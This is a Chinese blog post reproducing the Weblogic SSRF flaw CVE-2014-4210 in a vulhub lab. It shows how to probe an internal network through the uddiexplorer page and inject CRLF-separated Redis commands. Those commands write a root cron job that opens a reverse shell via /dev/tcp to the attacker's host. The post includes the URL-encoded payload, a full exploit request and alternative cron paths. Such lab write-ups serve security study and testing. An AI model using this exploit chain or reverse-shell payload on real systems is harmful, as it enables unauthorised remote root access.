Weblogic SSRF(CVE-2014-4210)漏洞复现

文章详细描述了如何利用Weblogic中的一个高危SSRF漏洞进行内网扫描和攻击,通过构造特定HTTP请求,探测并攻击内网中的脆弱组件如Redis,演示了如何通过注入HTTP头触发Redis反弹shell,最终实现对目标系统的控制。
摘要由CSDN通过智能技术生成

1.漏洞描述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

2.漏洞等级

高危

3.影响版本

weblogic 10.0.2 – 10.3.6版本

4.准备工具

VMware环境

vulhub 的weblogic漏洞环境

kali:192.168.175.144

Redis容器:172.22.0.2

5.漏洞复现

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。

发现operator的值,是请求一个url, 访问一个可以访问的IP:PORT,如http://127.0.0.1:80,发现" but could not connect over HTTP to server: '127.0.0.1', port: '80'", 一个不存在的端口 ,不可连接

换成一个IP192.168.175.144:7001,查看返回,发现return一个错误

通过错误的不同,即可探测内网状态。

注入HTTP头,利用Redis反弹shell

我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),我这边发现172.21.0.2:6739可以连通:

发送三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.175.144/21 0>&1'\n\n\n\n"
 
config set dir /etc/        //把redis数据库目录改成/etc
 
config set dbfilename crontab  //在该目录下把反弹shell的命令写进crontab文件里
 
save

 进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.175.144%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1

Host: 192.168.175.144:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 426

Origin: http://192.168.175.144:7001

Connection: close

Referer: http://192.168.175.144:7001/uddiexplorer/SearchPublicRegistries.jsp

Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=pcpfjgqKz9mgmBbn331r6xGrsQhszNlGpbYMyvcQG0Jhm5v1Qp2H!-798273750

Upgrade-Insecure-Requests: 1

operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.175.144%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Atacoking&txtSearchname=&txtSearchkey=&rdoSearch=for&txtSearchfor=&selfor=Business+location&btnSubmit=Search

用kali监听21端口, 成功反弹:

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tacokings

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值